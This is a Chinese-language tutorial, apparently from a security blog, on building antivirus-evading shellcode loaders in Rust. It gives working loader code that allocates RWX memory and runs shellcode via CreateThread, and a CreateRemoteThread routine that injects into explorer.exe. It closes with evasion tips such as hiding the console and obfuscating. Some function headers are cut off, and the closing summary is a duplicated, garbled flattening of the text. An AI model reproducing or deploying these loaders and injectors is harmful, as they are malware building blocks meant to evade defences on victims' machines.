利用rust来免杀
字数 605 2025-08-24 07:48:23

Rust免杀技术详解

环境安装

要进行Rust免杀开发,首先需要安装Rust环境。Rust与Go一样支持跨平台编译。

Windows安装

  1. 推荐使用Scoop包管理器安装:
    scoop install rust
    scoop install rustup
    

Linux/MacOS安装

curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf | sh

验证安装

rustc -V
cargo -V

基本加载器实现

简单加载器代码

# {
    #[link_section = ".text"]
    static shellcode: [u8; 3] = [0xfc, 0x48, 0x83]; // shellcode
    
    let shellcode_ptr: *const u8 = &shellcode as *const u8;
    unsafe {
        let exec_shellcode = std::mem::transmute::<*const u8, fn()>(shellcode_ptr);
        exec_shellcode();
    }
}

关键点

  1. 使用`#
windows-sys = { version = "0.48.0", features = [
    "Win32_Foundation", 
    "Win32_System_Threading", 
    "Win32_Security", 
    "Win32_System_Memory"
]}

完整加载器实现

# {
    let shellcode: [u8; 3] = [0xfc, 0x48, 0x83]; // shellcode
    exec(&shellcode);
}

fn exec(shellcode: &[u8]) {
    unsafe {
        // 分配内存
        let exec_shellcode = windows_sys::Win32::System::Memory::VirtualAlloc(
            ptr::null_mut(),
            shellcode.len(),
            windows_sys::Win32::System::Memory::MEM_COMMIT | 
            windows_sys::Win32::System::Memory::MEM_RESERVE,
            windows_sys::Win32::System::Memory::PAGE_EXECUTE_READWRITE,
        );
        
        // 复制shellcode
        std::ptr::copy(shellcode.as_ptr(), exec_shellcode as *mut u8, shellcode.len());
        
        // 创建线程执行
        let exec_shellcode_pointer: extern "system" fn(*mut c_void) -> u32 = {
            std::mem::transmute(exec_shellcode)
        };
        
        let thread_handle = windows_sys::Win32::System::Threading::CreateThread(
            ptr::null_mut(),
            0,
            Some(exec_shellcode_pointer),
            ptr::null_mut(),
            0,
            ptr::null_mut(),
        );
        
        // 等待线程完成
        windows_sys::Win32::System::Threading::WaitForSingleObject(
            thread_handle,
            windows_sys::Win32::System::Threading::INFINITE,
        );
        
        // 清理资源
        windows_sys::Win32::System::Memory::VirtualFree(
            exec_shellcode,
            0,
            windows_sys::Win32::System::Memory::MEM_RELEASE,
        );
        windows_sys::Win32::Foundation::CloseHandle(thread_handle);
    }
}

使用winapi库

添加依赖(Cargo.toml)

winapi = { 
    version = "0.3.9", 
    features = [
        "winuser", 
        "memoryapi", 
        "synchapi", 
        "handleapi", 
        "errhandlingapi", 
        "processthreadsapi"
    ]
}

实现代码

# {
    let mut thread_id = 0;
    let shellcode: [u8; 3] = [0xfc, 0x48, 0x83]; // shellcode
    
    unsafe {
        // 分配内存
        let mem_alloc = VirtualAlloc(
            std::ptr::null_mut(),
            shellcode.len(),
            0x00001000,
            0x40
        );
        
        // 复制shellcode
        std::ptr::copy(
            shellcode.as_ptr() as *const u8,
            mem_alloc as *mut u8,
            shellcode.len()
        );
        
        // 创建线程执行
        let thread_exec = CreateThread(
            std::ptr::null_mut(),
            0,
            Some(std::mem::transmute(mem_alloc)),
            std::ptr::null_mut(),
            0,
            &mut thread_id
        );
        
        // 等待线程完成
        WaitForSingleObject(thread_exec, 0xFFFFFFFF);
    }
}

进程注入技术

添加依赖(Cargo.toml)

sysinfo = "0.29.10"
windows-sys = { 
    version = "0.48.0", 
    features = [
        "Win32_Foundation", 
        "Win32_System_Threading", 
        "Win32_Security", 
        "Win32_System_Memory", 
        "Win32_System_Diagnostics_Debug"
    ]
}

CreateRemoteThread注入实现

# {
    let shellcode: [u8; 3] = [0xfc, 0x48, 0x83];
    let s = System::new_all();
    
    // 获取目标进程ID(这里以explorer为例)
    let process_id: u32 = s.processes_by_name("explorer")
        .next()
        .unwrap()
        .pid()
        .as_u32();
    
    inject(&shellcode, process_id);
}

fn inject(shellcode: &[u8], process_id: u32) {
    unsafe {
        // 打开目标进程
        let p_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
        
        // 在目标进程中分配内存
        let r_ptr = VirtualAllocEx(
            p_handle,
            ptr::null(),
            shellcode.len(),
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE,
        );
        
        // 写入shellcode
        let mut bytes_written = 0;
        WriteProcessMemory(
            p_handle,
            r_ptr,
            shellcode.as_ptr() as _,
            shellcode.len(),
            &mut bytes_written,
        );
        
        // 创建远程线程执行
        let t_handle = CreateRemoteThread(
            p_handle,
            ptr::null(),
            0,
            Some(std::mem::transmute(r_ptr)),
            ptr::null(),
            0,
            ptr::null_mut(),
        );
        
        // 关闭句柄
        CloseHandle(t_handle);
        CloseHandle(p_handle);
    }
}

关键技术与注意事项

  1. 内存分配与执行

    • 使用VirtualAlloc分配可执行内存
    • 设置PAGE_EXECUTE_READWRITE权限
    • 使用mem::transmute将指针转换为函数指针
  2. 线程创建

    • CreateThread用于当前进程
    • CreateRemoteThread用于注入其他进程
  3. 进程枚举

    • 使用sysinfo库查找目标进程
    • 可以注入常见进程如explorer.exe等
  4. 免杀技巧

    • 隐藏控制台窗口(windows_subsystem)
    • 使用合法的Windows API调用
    • 可以结合加密/混淆技术增强隐蔽性
  5. 编译优化

    • 使用--release模式编译
    • 可以尝试不同目标平台(x86/x64)

通过以上技术,可以实现基于Rust的免杀shellcode加载器和进程注入工具。实际应用中需要根据目标环境调整具体实现方式。

Rust免杀技术详解 环境安装 要进行Rust免杀开发,首先需要安装Rust环境。Rust与Go一样支持跨平台编译。 Windows安装 推荐使用Scoop包管理器安装: Linux/MacOS安装 验证安装 基本加载器实现 简单加载器代码 关键点 使用 ` # 完整加载器实现 使用winapi库 添加依赖(Cargo.toml) 实现代码 进程注入技术 添加依赖(Cargo.toml) CreateRemoteThread注入实现 关键技术与注意事项 内存分配与执行 : 使用 VirtualAlloc 分配可执行内存 设置 PAGE_EXECUTE_READWRITE 权限 使用 mem::transmute 将指针转换为函数指针 线程创建 : CreateThread 用于当前进程 CreateRemoteThread 用于注入其他进程 进程枚举 : 使用 sysinfo 库查找目标进程 可以注入常见进程如explorer.exe等 免杀技巧 : 隐藏控制台窗口( windows_subsystem ) 使用合法的Windows API调用 可以结合加密/混淆技术增强隐蔽性 编译优化 : 使用 --release 模式编译 可以尝试不同目标平台(x86/x64) 通过以上技术,可以实现基于Rust的免杀shellcode加载器和进程注入工具。实际应用中需要根据目标环境调整具体实现方式。